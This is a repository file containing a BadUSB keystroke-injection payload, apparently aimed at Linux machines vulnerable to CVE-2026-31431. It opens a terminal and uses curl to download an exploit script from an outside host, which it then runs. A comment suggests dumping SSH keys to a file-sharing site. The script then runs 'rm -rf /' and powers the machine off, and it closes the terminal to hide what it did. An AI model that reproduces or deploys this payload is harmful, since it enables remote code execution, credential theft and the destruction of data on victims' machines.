Files
CVE-2026-31431-tools/badusb/payload.txt

44 lines
845 B
Plaintext

REM #############################
REM ####### DANGER !! ###########
REM #############################
REM This script will wipe a linux machine unpatched to CVE-2026-31431
REM launch via GUI evokes terminal through 2 methods then runs attack and wipes root with rm rf
REM GUI launch terminal in kde gnome plasma
DELAY 500
GUI
STRING terminal
ENTER
DELAY 500
REM launch via hotkeys for terminal
DELAY 500
CTRL-ALT T
DELAY 200
ENTER
ENTER
REM make attack file and exec
STRING curl https://copy.fail/exp -o cve.py
ENTER
ENTER
DELAY 100
STRING python3 cve.py
ENTER
ENTER
REM add any other exploits here whilst your root, dump ssh keys via https://temp.sh/
REM clean up after
STRING rm -rf / && poweroff > /dev/null 2>&1 &
ENTER
REM detach from the process and close terminal to hide
delay 100
STRING disown
ENTER
delay 100
STRING exit
ENTER